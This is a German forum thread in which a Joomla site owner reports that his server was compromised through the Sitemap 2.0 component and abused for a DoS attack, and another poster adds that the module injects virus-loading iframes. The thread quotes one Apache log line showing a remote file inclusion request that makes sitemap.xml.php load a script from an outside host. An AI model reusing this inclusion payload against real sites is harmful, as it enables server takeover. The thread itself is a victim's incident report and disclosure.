Thema: Sicherheitsproblem mit Sidemap

Hallo zusammen,

am Wochenende wurde mein Server gehackt und für eine DoS Attacke mißbraucht. Mein Partner und ich haben heraus gefunden, das der Angreifer über das Sidemap Modul Code einschleusen konnte. Hier der Auszug auf der Logdatei meines Server:

193.25.197.123 - - [18/Jul/2006:17:50:33 +0200] "GET /cms/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://www.podgorz.cc/en5.php?? HTTP/1.0" 200 1086 "-" "Mozilla/5.0"

Ich habe die Komponente Sidemap 2.0 verwendet. Ausschlaggebend war die Datei sitemap.xml.php (siehe Logeintrag). Derzeit ist mein Apache noch deaktiviert, ich habe aber diese Komponente aus meinem Joomla entfernt.
Ist diese Lücke schon bekannt?

Gruss saxman

Dumme Frage meineseits.........wo finde ich diese Liste?

Zitat von saxman

Hallo zusammen,

am Wochenende wurde mein Server gehackt und für eine DoS Attacke mißbraucht. Mein Partner und ich haben heraus gefunden, das der Angreifer über das Sidemap Modul Code einschleusen konnte.

Über dieses Modul werden auch iframes in den Code gesetzt, die beim Aufruf Viren hochladen.